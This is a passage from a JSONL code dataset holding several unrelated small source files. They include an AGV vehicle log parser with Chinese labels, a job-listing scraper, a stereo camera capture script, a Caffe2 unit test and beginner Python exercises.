Optional[FeedParserDict]:\n logger = logging.getLogger(__name__)\n logger.info(f\"Fetching feed from URL: {self._feed_url}\")\n\n feed = feedparser.parse(self._feed_url)\n\n if \"bozo\" in feed and feed[\"bozo\"]:\n logger.error(f\"Invalid RSS feed provided: {self._feed_url}\")\n raise HTTPException(\n status_code=400, detail=\"The RSS feed provided is invalid.\"\n )\n\n logger.info(\"Feed fetched successfully.\")\n return feed\n","repo_name":"zilehuda/sendcloud-rssfeed","sub_path":"app/services/rss_feed_services/feed_fetcher.py","file_name":"feed_fetcher.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5061363243","text":"bilgi = \"Bu dosya bir modül dosyasıdır.\"\n\ndef bilgileri_goster(ad,soyad,yas):\n print(f\"\"\"\n Ad: {ad}\n Soyad: {soyad}\n Yaş: {yas}\n \"\"\")\n\nclass Kisi():\n def __init__(self,ad,soyad,yas):\n self.ad = ad \n self.soyad = soyad \n self.yas = yas \n\n# bilgileri_goster(\"Ömer\",\"Kars\",21) \n\nkisi_1 = Kisi(\"Ahmet\",\"Yılmaz\",50) \n\n# print(kisi_1.ad)\n# print(kisi_1.soyad)\n# print(kisi_1.yas)\n# print(bilgi)\n","repo_name":"omerkars78/Uygulamali_Python_Dokumantasyonu","sub_path":"9_2 Modules.py","file_name":"9_2 Modules.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"tr","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"39648662421","text":"# -*- coding: utf-8 -*-\nimport re\n\n\nclass Color:\n OKBLUE = ''\n OKGREEN = ''\n FAIL = ''\n ENDC = ''\n\n @staticmethod\n def normal(info):\n return Color.OKBLUE + info + Color.ENDC\n\n @staticmethod\n def high(info):\n return Color.OKGREEN + info + Color.ENDC\n\n @staticmethod\n def fail(info):\n return Color.FAIL + info + Color.ENDC\n\nclass Report:\n def __init__(self, _title, lang):\n self.title = _title\n self.contents = []\n self.max_name_len = 0\n self.lang = lang\n\n def append(self, value):\n index = len(self.contents)\n name = self.lang[index][0]\n desc = self.lang[index][1].get(value, None)\n if desc == None:\n if len(self.lang[index][1]):\n desc = Color.fail(value+' -- 异常状态')\n else:\n desc = value\n self.contents.append((name, desc))\n self.max_name_len = max(self.max_name_len, len(bytes(name, 'gb2312')))\n\n def dump(self):\n ret = '\\n' + self.title + '\\n'\n ret += ('='*len( bytes(self.title, 'gb2312') ) + '\\n')\n for name, value in self.contents:\n ret += \" %s%s = %s\\n\" % (' '*(self.max_name_len - len(bytes(name, 'gb2312'))), name, value)\n return ret\nclass General:\n script_lang = [\n (\"与脚本的通信状态\", {\n 'ex': Color.fail('通信异常'),\n 'ok': Color.normal('通信正常'),\n 'un': Color.fail('状态未知')\n }),\n (\"当前相对停车点的编号\", {\n '0': Color.high('在目标点上'),\n '1': Color.high('在目标点的前一个点'),\n '-1': Color.high('在目标点的后一个点'),\n '-9999': '其他位置(脚本不关心的值)'\n }),\n (\"脚本设置的相对停车位置\", {\n '0': '在目标点停车',\n '1': '在目标点前一个点停车'\n }),\n (\"脚本应答的任务ID号\", {}),\n (\"距离目标点的长度(毫米)\", {}),\n ]\n\n canopen_state = {'5' : Color.normal('通信正常')}\n canopen_lang = [\n (\"行走控制器\", canopen_state),\n (\"行走驱动器\", canopen_state),\n (\"举升控制器\", canopen_state),\n (\"举升驱动器\", canopen_state),\n (\"拉线编码器\", canopen_state),\n ]\n\n lift_lang = [\n (\"车载网关内部举升状态机\", {'ex': Color.fail('举升过程出现异常'),\n 'idle': Color.normal('举升功能处于空闲状态'),\n 'task': Color.high('当前有举升任务'),\n 'unkno': Color.fail('初始化时的未知状态')\n }),\n (\"举升异常码\", {\n '0': Color.normal('正常'),\n '1': Color.fail('举升控制器故障'),\n '2': Color.fail('举升驱动器故障'),\n '4': Color.fail('拉线编码器故障'),\n '8': Color.fail('任务超时'),\n '22': Color.fail('未知'),\n }),\n (\"举升工作状态\", {\n '1': Color.high('开始升降叉臂'),\n '2': '叉臂升降完成'\n }),\n (\"举升的目标高度(毫米)\", {}),\n (\"叉臂的当前高度(毫米)\", {}),\n (\"叉臂的控制模式\", {\n '0': '叉臂不控',\n '1': '精准举升',\n '2': '精准下降',\n '3': '模糊举升',\n '4': '模糊下降',\n '5': '不带货举升',\n '6': '不带货下降',\n '7': '短距离举升'\n }),\n (\"叉臂错误状态\", {\n '1': Color.normal('正常'),\n '2': Color.fail('估重失败'),\n '3': Color.fail('举升驱动器故障'),\n '4': Color.fail('拉线编码器故障')\n }),\n (\"叉臂举升时的电机工作电压(伏)\", {}),\n ]\n\n basic_lang = [\n (\"车载网关状态机\", {\n 'init': Color.fail('上电初始化中'),\n 'work': Color.normal('正常工作中')\n }),\n (\"地图状态\", {\n 'new': Color.normal('已同步最新地图'),\n 'wft': Color.fail('正在获取Ftp地址'),\n 'dow': Color.fail('正在下载地图'),\n 'old': Color.fail('地图不是最新的'),\n }),\n (\"抱闸状态\", {\n 'b': Color.fail('抱闸'),\n 'o': Color.normal('松开'),\n 'u': Color.fail('未知'),\n }),\n (\"手自动信号\", {\n 'm': Color.fail('手动'),\n 'a': Color.normal('自动'),\n 'c': Color.high('充电'),\n 'u': Color.fail('未知'),\n })\n ]\n\n slam_lang = [\n (\"车载网关与slam的通信状态\", {\n 'ok': Color.normal('通信正常'),\n 'ex': Color.fail('通信失败'),\n 'un': Color.fail('未知状态'),\n })\n ]\n\n task_lang = [\n (\"任务ID\", {}),\n (\"目标点\", {}),\n (\"操作码\", {}),\n (\"任务参数1\", {}),\n (\"任务参数2\", {}),\n (\"任务参数3\", {}),\n (\"任务参数4\", {}),\n (\"目标点\", {}),\n (\"目标点前一个点\", {}),\n (\"任务执行状态\", {\n 'r': Color.high('运行中'),\n 'f': Color.normal('任务完成'),\n 'o': Color.high('任务操作中(或将要操作)'),\n 'n': '当前无任务',\n }),\n ]\n\n motion_lang = [\n (\"行走状态\", {\n 'ex': Color.fail('出现异常'),\n 'li': Color.high('在线上'),\n 'pt': Color.normal('在点上'),\n 'un': Color.fail('未知'),\n }),\n (\"异常码\", {\n '0': Color.normal('正常'),\n '1': Color.fail('行走控制器故障'),\n '2': Color.fail('行走驱动器故障'),\n '4': Color.fail('SLAM故障'),\n '8': Color.fail('未定义故障8'),\n '16': Color.fail('未定义故障16'),\n }),\n (\"运行状态\", {\n '1': Color.high('开始走线'),\n '2': Color.fail('脱轨'),\n '3': Color.normal('正常停车')\n }),\n (\"任务参数1(线号)\", {}),\n (\"任务参数2(百分比)\", {}),\n (\"逻辑位的最高位\", {\n \"0\" : \"不可降叉臂\",\n \"1\" : \"可降叉臂\"\n }),\n ]\n\n route_lang = [\n (\"调度规划的线路\", {}),\n (\"当前待行驶线路\", {}),\n (\"A9卡住不发送给驱A的线路\", {}),\n ]\n\n tc_lang = [\n (\"阻塞类型\", {\n '0': '无阻塞',\n '1': Color.fail('小车阻塞'),\n '2': Color.fail('区块阻塞'),\n '3': Color.fail('变量阻塞'),\n }),\n (\"阻塞值\", {}),\n ]\n\n @classmethod\n def on_script(cls, data):\n state = data[0].strip()\n LocalPointIndex = data[1].strip()\n LocalStopIndex = data[2].strip()\n m_ScriptTaskID = data[3].strip()\n TargetPointLength = data[4].strip()\n r = Report('模块1--script', cls.script_lang)\n r.append(state)\n r.append(LocalPointIndex)\n r.append(LocalStopIndex)\n r.append(m_ScriptTaskID)\n r.append(TargetPointLength)\n return r\n\n @classmethod\n def on_canopen(cls, data):\n DriverA = data[0][0]\n MotionDriver = data[0][1]\n DriverB = data[0][2]\n LiftDriver = data[0][3]\n WireDrawEncoder = data[0][4]\n\n r = Report('模块2--can', cls.canopen_lang)\n r.append(DriverA)\n r.append(MotionDriver)\n r.append(DriverB)\n r.append(LiftDriver)\n r.append(WireDrawEncoder)\n return r\n\n @classmethod\n def on_lift(cls, data):\n state = data[0].strip()\n Exception = data[1].strip()\n WorkState = data[2].strip()\n TargetHeight = data[3].strip()\n CurrentHeight = data[4].strip()\n ControlMode = data[5].strip()\n LiftCtrlError = data[6].strip()\n LiftMotorVoltage = data[7].strip()\n\n r = Report('模块3--举升任务相关数据(lift)', cls.lift_lang)\n r.append(state)\n r.append(Exception)\n r.append(WorkState)\n r.append(TargetHeight)\n r.append(CurrentHeight)\n r.append(ControlMode)\n r.append(LiftCtrlError)\n r.append(LiftMotorVoltage)\n return r\n\n @classmethod\n def on_basic(cls, data):\n state = data[0].strip()\n MapState = data[1].strip()\n EmergencyState = data[2].strip()\n knob = data[3].strip()\n\n r = Report('模块4--小车基本信息(basic)', cls.basic_lang)\n r.append(state)\n r.append(MapState)\n r.append(EmergencyState)\n r.append(knob)\n\n return r\n\n @classmethod\n def on_slam(cls, data):\n state = data[0].strip()\n\n r = Report('模块5--激光定位(slam)', cls.slam_lang)\n r.append(state)\n return r\n\n @classmethod\n def on_task(cls, data):\n TaskID = data[0].strip()\n TargetPointNumber = data[1].strip()\n OperationCode = data[2].strip()\n OperationValue1 = data[3].strip()\n OperationValue2 = data[4].strip()\n OperationValue3 = data[5].strip()\n OperationValue4 = data[6].strip()\n TargetPoint = data[7].strip()\n StopPoint = data[8].strip()\n AgvTaskStatus = data[9].strip()\n\n r = Report('模块6--任务模块(task)', cls.task_lang)\n r.append(TaskID)\n r.append(TargetPointNumber)\n r.append(OperationCode)\n r.append(OperationValue1)\n r.append(OperationValue2)\n r.append(OperationValue3)\n r.append(OperationValue4)\n r.append(TargetPoint)\n r.append(StopPoint)\n r.append(AgvTaskStatus)\n return r\n\n @classmethod\n def on_motion(cls, data):\n State = data[0].strip()\n Exception = data[1].strip()\n RunningState = data[2].strip()\n RouteValue1 = data[3].strip()\n RouteValue2 = data[4].strip()\n Bit31 = data[5].strip()\n\n r = Report('模块7--行走(motion)', cls.motion_lang)\n r.append(State)\n r.append(Exception)\n r.append(RunningState)\n r.append(RouteValue1)\n r.append(RouteValue2)\n r.append(Bit31)\n return r\n\n @classmethod\n def on_route(cls, data):\n m_routes = RouteNumbers = Blocklines = \"None\"\n pattern_m = 'm\\\\(([\\d,]+)\\\\)'\n m = re.search(pattern_m, data)\n if m:\n m_routes = m.groups()[0]\n\n pattern_c = 'c\\\\(([\\d,]+)\\\\)'\n m = re.search(pattern_c, data)\n if m:\n RouteNumbers = m.groups()[0]\n\n pattern_b = 'b\\\\(([\\d,]+)\\\\)'\n m = re.search(pattern_b, data)\n if m:\n Blocklines = m.groups()[0]\n\n r = Report('模块8--路径状态(route)', cls.route_lang)\n r.append(m_routes)\n r.append(RouteNumbers)\n r.append(Blocklines)\n return r\n\n @classmethod\n def on_tc(cls, data):\n m_blocktype = data[0].strip()\n m_blockvalue= data[1].strip()\n\n r = Report('模块9--交通管制(tc)', cls.tc_lang)\n r.append(m_blocktype)\n r.append(m_blockvalue)\n return r\n\ndef parse_log_general(line):\n #line = '[I][2019-09-17 18:28:14.969][CH02]: script:ok,-9999, 0,183, 3759; can:55555; lift:idle, 0,2, 600, 603, 2,1, 0; basic:work,new,o,a; slam:ok; task: 183, 258#, 11, 600, 400, 0, 0, 258, 257,r; motion:li, 0,1, 188,98,0; route:m(201,188,413,411,),c(188,413,411,),b(),tc:0,0'\n #prefix_len = 36\n #line = line[prefix_len:]\n\n ret = ''\n #script\n pattern_script = \"script:([\\w ,-]+);\"\n m = re.search(pattern_script, line)\n if m:\n script = m.groups()[0].split(',')\n ret += General.on_script( script ).dump()\n else:\n ret += \"!!!!!!!!script missing\"\n\n #can\n pattern_can = \"can:([\\w ,-]+);\"\n m = re.search(pattern_can, line)\n if m:\n can = m.groups()[0].split(',')\n ret += General.on_canopen( can ).dump()\n else:\n ret += \"!!!!!!!!can missing\"\n # lift\n pattern_lift = \"lift:([\\w ,-]+);\"\n m = re.search(pattern_lift, line)\n if m:\n lift = m.groups()[0].split(',')\n ret += General.on_lift( lift ).dump()\n else:\n ret += \"!!!!!!!!lift missing\"\n # basic\n pattern_basic = \"basic:([\\w ,-]+);\"\n m = re.search(pattern_basic, line)\n if m:\n basic = m.groups()[0].split(',')\n ret += General.on_basic( basic ).dump()\n else:\n ret += \"!!!!!!!!basic missing\"\n # slam\n pattern_slam = \"slam:([\\w ,-]+);\"\n m = re.search(pattern_slam, line)\n if m:\n slam = m.groups()[0].split(',')\n ret += General.on_slam( slam ).dump()\n else:\n ret += \"!!!!!!!!slam missing\"\n # task\n pattern_task = \"task:([\\w ,#-]+);\"\n m = re.search(pattern_task, line)\n if m:\n task = m.groups()[0].split(',')\n ret += General.on_task( task ).dump()\n else:\n ret += \"!!!!!!!!task missing\"\n # motion\n pattern_motion = \"motion:([\\w ,-]+);\"\n m = re.search(pattern_motion, line)\n if m:\n motion = m.groups()[0].split(',')\n ret += General.on_motion( motion ).dump()\n else:\n ret += \"!!!!!!!!motion missing\"\n # route\n pattern_route = \"route:([\\w() ,-]+)tc\"\n m = re.search(pattern_route, line)\n if m:\n route = m.groups()[0]\n ret += General.on_route( route ).dump()\n else:\n ret += \"!!!!!!!!route missing\"\n # tc\n pattern_tc = \"tc:([\\d,-]+)\"\n m = re.search(pattern_tc, line)\n if m:\n tc = m.groups()[0].split(',')\n ret += General.on_tc( tc ).dump()\n else:\n ret += \"!!!!!!!!tc missing\"\n\n return ret\n\nclass Motion:\n tag_lang = (\"当前状态\", {\n \"100000\" : Color.fail(\"停车\"),\n \"400000\" : Color.fail(\"抱闸\"),\n \"500000\" : Color.fail(\"手动模式\")\n })\n\n debug_lang = [\n (\"激光数据错误标志位\", {\n \"0\": Color.normal(\"正常\"),\n \"1\": Color.fail(\"错误\")\n }),\n (\"激光断线错误标志位\", {\n \"0\": Color.normal(\"正常\"),\n \"1\": Color.fail(\"错误\")\n }),\n (\"curtis电机驱动器数据错误标志位\", {\n \"0\": Color.normal(\"正常\"),\n \"1\": Color.fail(\"错误\")\n }),\n (\"总的错误码\", {\n \"0\": Color.normal(\"正常\"),\n }),\n (\"拟合点状态\", {\n \"0\": Color.high(\"没有点\"),\n \"1\": Color.high(\"找到最近点,但没有下一个点\"),\n \"2\": Color.normal(\"能找到最近的点和下一个点\"),\n \"3\": Color.fail(\"异常点\")\n }),\n (\"应为0\", {\"0\":\"0\"}),\n (\"左避障\", {}),\n (\"右避障\", {}),\n (\"总避障\", {\n '1' : '停车',\n '2' : '减速',\n '3' : '正常',\n '4' : '抱闸',\n }),\n (\"应为0\", {\"0\":\"0\"}),\n ]\n\n debug_lang2 = [\n ('X向偏差(0.01mm)', {}),\n ('Y向偏差(0.01mm)', {}),\n ('航向偏差(0.01度)', {}),\n ('给定速度(0.01mm/s)', {}),\n ('反馈速度(0.01mm/s)', {}),\n ('给定打角(0.01度)', {}),\n ('实际打角(0.01度)', {}),\n ('X向参考坐标(0.01mm)', {}),\n ('Y向参考坐标(0.01mm)', {}),\n ('参考航向角(0.01度)', {}),\n ('保留字段0', {}),\n ('保留字段1', {}),\n ('保留字段2', {}),\n ('保留字段3', {}),\n ('保留字段4', {}),\n ('保留字段5', {}),\n ('保留字段6', {}),\n ('保留字段7', {}),\n ('保留字段8', {}),\n ('保留字段9', {}),\n ]\n\n attitude_lang = [\n (\"X向融合坐标(0.01mm)\", {}),\n (\"Y向融合坐标(0.01mm)\", {}),\n (\"融合航向角(0.01度)\", {}),\n (\"X向SLAM坐标(0.01mm)\", {}),\n (\"Y向SLAM坐标(0.01mm)\", {}),\n (\"SLAM航向角(0.01度)\", {}),\n (\"错误码\", {}),\n (\"线号1\", {}),\n (\"线号2\", {}),\n (\"线号3\", {}),\n (\"线数\", {}),\n ]\n\n a9_lang = [\n ('电机速度(rpm)', {}),\n ('电机角度(0.01度)', {}),\n ('小车所在路径状态', {}),\n ('小车运行状态', {\n '1':Color.normal(\"走线\"),\n '2':Color.fail(\"脱轨\"),\n '3':Color.high(\"停车\")\n }),\n ('避障状态', {\n 'a:1':Color.high(\"停车\"),\n 'a:2':Color.high(\"减速\"),\n 'a:3':Color.normal(\"正常\"),\n 'a:4':Color.fail(\"抱闸\")\n }),\n (\"急停状态\", {\n 'e:1':Color.fail(\"抱闸\"),\n 'e:0':\"松闸\"\n }),\n (\"脚本设置的减速比\", {}),\n (\"手自动信号\", {\n 'manual': Color.fail('手动'),\n 'auto': Color.normal('自动'),\n 'unknown': Color.fail('未知'),\n })\n ]\n\n @classmethod\n def on_debug(cls, data):\n if data[0] in cls.tag_lang[1]:\n lang = [cls.tag_lang] + cls.debug_lang\n r = Report('模块1--驱A��报数据(debug)', lang)\n r.append(data[0])\n r.append(data[1])\n r.append(data[2])\n r.append(data[3])\n r.append(data[4])\n r.append(data[5])\n r.append(data[6])\n\n #data[7] -> * 3\n full_data7 = \"%03d\" % int(data[7])\n r.append(full_data7[0])\n r.append(full_data7[1])\n r.append(full_data7[2])\n\n r.append(data[8])\n return r\n else:\n r = Report('模块1--驱A上报数据(debug)', cls.debug_lang2)\n for i in range(20):\n r.append(data[i])\n return r\n @classmethod\n def on_attitute(cls, data):\n r = Report('模块2--小车姿态(attitude)', cls.attitude_lang)\n for i in data:\n r.append(i)\n return r\n\n\n @classmethod\n def on_a9(cls, data):\n r = Report('模块3--A9数据(a9)', cls.a9_lang)\n\n Speed = data[0].strip()\n Angle = data[1].strip()\n RouteStatus = data[2].strip()\n RunningState = data[3].strip()\n AvoidanceInfo = data[4].strip()\n EmergencyStop = data[5].strip()\n DeceRatioSetByScript = data[6].strip()\n OperateMode = data[7].strip()\n\n r.append(Speed)\n r.append(Angle)\n r.append(RouteStatus)\n r.append(RunningState)\n r.append(AvoidanceInfo)\n r.append(EmergencyStop)\n r.append(DeceRatioSetByScript)\n r.append(OperateMode)\n\n return r\n\ndef parse_log_motion(line):\n line = line.split(',')[1:-1]\n # 20 个 驱A上报的调试数据\n debug = line[:20]\n attitute = line[20:31]\n line = line[31:]\n ret = Motion.on_debug(debug).dump()\n ret += Motion.on_attitute(attitute).dump()\n ret += Motion.on_a9(line).dump()\n\n return ret\n\n\nif __name__ == \"__main__\":\n print( parse_log_motion(' ,110472,-1174,-51,30400,103143,-44,-25,56698,6020,27000,4,18,18,300,100,15,0,-44,0,45235,56686,6039,270510,56688,5694,270515,0,12,5,0,2,1393,-36,online:12-14%,1,a:3,e:0,-1,auto ,') )","repo_name":"chengzhpchn/tools","sub_path":"vehicle_watcher/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":19190,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"18649895649","text":"#Author: Justin Chisholm\r\ndef get_cut_cost(gender, length, density): \r\n total = 0\r\n if gender == \"m\":\r\n total += 20\r\n else:\r\n total += 40\r\n \r\n if length == \"l\":\r\n total += 10\r\n\r\n if density == \"t\":\r\n total += 15\r\n \r\n return total\r\n\r\ndef get_color_cost(length, density, change):\r\n total = 50\r\n \r\n if length == \"l\":\r\n total += 20\r\n \r\n if density == \"t\":\r\n total += 20\r\n \r\n if change == \"l\":\r\n total += 50 \r\n \r\n return total\r\n\r\n# Main Program\r\nprint(\"Salon Calculator\")\r\ngender = input(\"(M)ale or (F)emale: \").strip().lower()\r\nlength = input(\"Hair Length (L)ong or (S)hort: \").strip().lower()\r\ndensity = input(\"Hair Density (F)ine or (T)hick: \").strip().lower()\r\ncut = input(\"Hair Cut (Y)es or (N)o: \").strip().lower()\r\ncolor = input(\"Hair Color (Y)es or (N)o: \").strip().lower()\r\n\r\ncost = 0\r\n\r\nif cut == \"y\":\r\n cost += get_cut_cost(gender, length, density)\r\n\r\nif color == \"y\":\r\n change = input(\"(L)ighter or (D)arker: \").lower().strip()\r\n cost += get_color_cost(length, density, change)\r\n \r\n#tax\r\ncost *= 1.07\r\n\r\nprint(f\"Your estimated cost is ${round(cost, 2)}!\")","repo_name":"justinchis/python-intro","sub_path":"examples/march/mar17/haircut.py","file_name":"haircut.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70011358632","text":"# / -*-codeing = utf-8 -*-\n# TIME : 2022/9/22 11:30\n# File : double_camera 双目摄像头拍照镜头单独拍照\nimport cv2\nimport time\n\nAUTO = False # 自动拍照,或手动按s键拍照\nINTERVAL = 2 # 自动拍照间隔\n\ncv2.namedWindow(\"left\")\ncv2.namedWindow(\"right\")\ncamera = cv2.VideoCapture(0)\n# 设置分辨率 左右摄像机同一频率,同一设备ID;左右摄像机总分辨率1280x480;分割为两个640x480、640x480\ncamera.set(cv2.CAP_PROP_FRAME_WIDTH, 1280)\ncamera.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n\ncounter = 0\nutc = time.time()\nfolder_l = \"./SaveImage/left/\" # 拍照文件目录\nfolder_r = \"./SaveImage/right/\" # 拍照文件目录\n\n\ndef shot(pos, frame, dir):\n global counter\n if dir:\n path = folder_l + pos + \"_\" + str(counter) + \".jpg\"\n else:\n path = folder_r + pos + \"_\" + str(counter) + \".jpg\"\n cv2.imwrite(path, frame)\n print(\"snapshot saved into: \" + path)\n\n\nwhile True:\n ret, frame = camera.read()\n if ret:\n # 裁剪坐标为[y0:y1, x0:x1] HEIGHT*WIDTH\n left_frame = frame[:, 0:640, :]\n right_frame = frame[:, 640:1280, :]\n cv2.imshow(\"left\", left_frame)\n cv2.imshow(\"right\", right_frame)\n\n now = time.time()\n left = 1\n right = 0\n if AUTO and now - utc >= INTERVAL:\n shot(\"left\", left_frame, 1)\n shot(\"right\", right_frame, 0)\n counter += 1\n utc = now\n\n key = cv2.waitKey(1)\n if key == ord(\"q\"):\n break\n elif key == ord(\"s\"):\n shot(\"left\", left_frame, 1)\n print(\"left_frame: \", left_frame)\n shot(\"right\", right_frame, 0)\n counter += 1\n else:\n print(\"not found camera\")\ncamera.release()\ncv2.destroyWindow(\"left\")\ncv2.destroyWindow(\"right\")","repo_name":"zhengsiyusy/deep_learning","sub_path":"double_camera.py","file_name":"double_camera.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18631867271","text":"import requests\nimport codecs\nimport time\nimport datetime\nfrom bs4 import BeautifulSoup as BS\n\nsession = requests.Session()\nheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:47.0) Gecko/20100101 '\n 'Firefox/47.0', 'Accept': 'text/html,application/xhtml+xml,'\n 'application/xml;q=0.9,*/*;q=0.8'}\n\nbase_url = 'https://rabota.ua/zapros/python/%d0%ba%d0%b8%d0%b5%d0%b2?period=' \\\n '2&lastdate='\n\ndomain = 'https://rabota.ua'\njobs = []\nurls = []\nyesterday = datetime.date.today()-datetime.timedelta(1)\none_day_ago = yesterday.strftime('%d.%m.%Y')\nbase_url = base_url + one_day_ago\n\nurls.append(base_url)\nreq = session.get(base_url, headers=headers)\n\nif req.status_code == 200:\n bsObj = BS(req.content, \"html.parser\")\n pagination = bsObj.find('dl', attrs={'id': 'ctl00_content_vacancyList_'\n 'gridList_ctl23_'\n 'pagerInnerTable'})\n\n if pagination:\n pages = pagination.find_all('a', attrs={'class': 'f-always-blue'})\n for page in pages:\n urls.append(domain + page['href'])\n\n #print(urls)\n\nfor url in urls:\n time.sleep(1)\n req = session.get(url, headers=headers)\n if req.status_code == 200:\n bsObj = BS(req.content, \"html.parser\")\n article_list = bsObj.find_all('article', attrs=\n {'class': 'f-vacancylist-vacancyblock'})\n for article in article_list:\n title_all = article.find('h3')\n title = title_all.find('a')\n title = title.text\n href = title_all.a['href']\n short = article.find('p', attrs={'class':\n 'f-vacancylist-shortdescr'}).text\n company = article.find('p', attrs={'class':\n 'f-vacancylist-companyname'})\n company = company.a.text\n jobs.append({'href': domain + href,\n 'title': title,\n 'descript': short,\n 'company': company})\ntemplate = ' ' \\\n ' '\nend = ' '\ncontent = '

    Work.ua

    '\n\nfor job in jobs:\n content += '{title}

    {descript}'\\\n '

    {company}


    '.format(**job)\n content += '


    '\n\ndata = template + content + end\n\nhandle = codecs.open('robota.html', \"w\", \"utf-8\")\nhandle.write(str(data))\nhandle.close()\n","repo_name":"Sergvh/Job-finding","sub_path":"robota.py","file_name":"robota.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14817256369","text":"\n\n\n\nfrom caffe2.python import core, workspace\nfrom caffe2.python.test_util import TestCase\n\nimport numpy as np\n\n\nclass TestSparseToDense(TestCase):\n def test_sparse_to_dense(self):\n op = core.CreateOperator(\n 'SparseToDense',\n ['indices', 'values'],\n ['output'])\n workspace.FeedBlob(\n 'indices',\n np.array([2, 4, 999, 2], dtype=np.int32))\n workspace.FeedBlob(\n 'values',\n np.array([1, 2, 6, 7], dtype=np.int32))\n\n workspace.RunOperatorOnce(op)\n output = workspace.FetchBlob('output')\n print(output)\n\n expected = np.zeros(1000, dtype=np.int32)\n expected[2] = 1 + 7\n expected[4] = 2\n expected[999] = 6\n\n self.assertEqual(output.shape, expected.shape)\n np.testing.assert_array_equal(output, expected)\n\n def test_sparse_to_dense_shape_inference(self):\n indices = np.array([2, 4, 999, 2], dtype=np.int32)\n values = np.array([[1, 2], [2, 4], [6, 7], [7, 8]], dtype=np.int32)\n data_to_infer_dim = np.array(np.zeros(1500, ), dtype=np.int32)\n op = core.CreateOperator(\n 'SparseToDense',\n ['indices', 'values', 'data_to_infer_dim'],\n ['output'])\n workspace.FeedBlob('indices', indices)\n workspace.FeedBlob('values', values)\n workspace.FeedBlob('data_to_infer_dim', data_to_infer_dim)\n\n net = core.Net(\"sparse_to_dense\")\n net.Proto().op.extend([op])\n shapes, types = workspace.InferShapesAndTypes(\n [net],\n blob_dimensions={\n \"indices\": indices.shape,\n \"values\": values.shape,\n \"data_to_infer_dim\": data_to_infer_dim.shape,\n },\n blob_types={\n \"indices\": core.DataType.INT32,\n \"values\": core.DataType.INT32,\n \"data_to_infer_dim\": core.DataType.INT32,\n },\n )\n assert (\n \"output\" in shapes and \"output\" in types\n ), \"Failed to infer the shape or type of output\"\n self.assertEqual(shapes[\"output\"], [1500, 2])\n self.assertEqual(types[\"output\"], core.DataType.INT32)\n\n\n def test_sparse_to_dense_invalid_inputs(self):\n op = core.CreateOperator(\n 'SparseToDense',\n ['indices', 'values'],\n ['output'])\n workspace.FeedBlob(\n 'indices',\n np.array([2, 4, 999, 2], dtype=np.int32))\n workspace.FeedBlob(\n 'values',\n np.array([1, 2, 6], dtype=np.int32))\n\n with self.assertRaises(RuntimeError):\n workspace.RunOperatorOnce(op)\n\n def test_sparse_to_dense_with_data_to_infer_dim(self):\n op = core.CreateOperator(\n 'SparseToDense',\n ['indices', 'values', 'data_to_infer_dim'],\n ['output'])\n workspace.FeedBlob(\n 'indices',\n np.array([2, 4, 999, 2], dtype=np.int32))\n workspace.FeedBlob(\n 'values',\n np.array([1, 2, 6, 7], dtype=np.int32))\n workspace.FeedBlob(\n 'data_to_infer_dim',\n np.array(np.zeros(1500, ), dtype=np.int32))\n\n workspace.RunOperatorOnce(op)\n output = workspace.FetchBlob('output')\n print(output)\n\n expected = np.zeros(1500, dtype=np.int32)\n expected[2] = 1 + 7\n expected[4] = 2\n expected[999] = 6\n\n self.assertEqual(output.shape, expected.shape)\n np.testing.assert_array_equal(output, expected)\n","repo_name":"pytorch/pytorch","sub_path":"caffe2/python/sparse_to_dense_test.py","file_name":"sparse_to_dense_test.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"36586331352","text":"import string\r\nimport random\r\n\r\n_jenis = [\r\n \"Kehancuran\",\r\n \"Displin\",\r\n \"Pertumbuhan\",\r\n \"Transformasi\",\r\n ]\r\n\r\n\r\n_waktu = [\r\n \"Beberapa tahun\",\r\n \"Sepuluh tahun\",\r\n \"Satu dekade\",\r\n \"Satu generasi\",\r\n \"Dua generasi\",\r\n \"Satu abad\",\r\n \"Satu millenium\",\r\n]\r\n\r\n_lahan = [\r\n \"Pertanian\",\r\n \"Otak\",\r\n \"Masa Kecil\",\r\n \"Masa Muda\",\r\n \"Kependudukan\",\r\n \"Kelas\",\r\n \"Cuaca\",\r\n \"Kloning\",\r\n \"Komunikasi\",\r\n \"Majelis\",\r\n \"Pengadilan\",\r\n \"Penyakit\",\r\n \"Drone\",\r\n \"Ekonomi\",\r\n \"Edukasi\",\r\n \"Hiburan\",\r\n \"Lingkungan\",\r\n \"Kesetaraan\",\r\n \"Keluarga\",\r\n \"Fashion\",\r\n \"Penerbangan\",\r\n \"Perhutanan\",\r\n \"Genetika\",\r\n \"Kelamin\",\r\n \"Pemerintahan\",\r\n \"jenis kelamin\",\r\n \"Kesehatan\",\r\n \"Hobby\",\r\n \"Rumah\",\r\n \"Identitas\",\r\n \"Serangga\",\r\n \"Hak Intelektual\",\r\n \"Jurnalisme\",\r\n \"Keadilan\",\r\n \"Pembelajaran\",\r\n \"Memori\",\r\n \"Pertambangan\",\r\n \"Bulan\",\r\n \"Musik\",\r\n \"Laut\",\r\n \"Minyak\",\r\n \"Jaman dulu\",\r\n \"Hewan piaraan\",\r\n \"Kekuatan\",\r\n \"Agama\",\r\n \"Robot\",\r\n \"Sex\",\r\n \"Belanja\",\r\n \"Ruang\",\r\n \"Olah Raga\",\r\n \"Teater\",\r\n \"Perjalanan\",\r\n \"Perang\",\r\n \"Air\",\r\n \"Kesehatan\",\r\n \"Perempuan\",\r\n \"Pekerjaan\",\r\n \"Zombi\",\r\n \"Kebun binatang\",\r\n \"Bebas\",\r\n]\r\n\r\n\r\n\r\n_benda = [\r\n \"Iklan\",\r\n 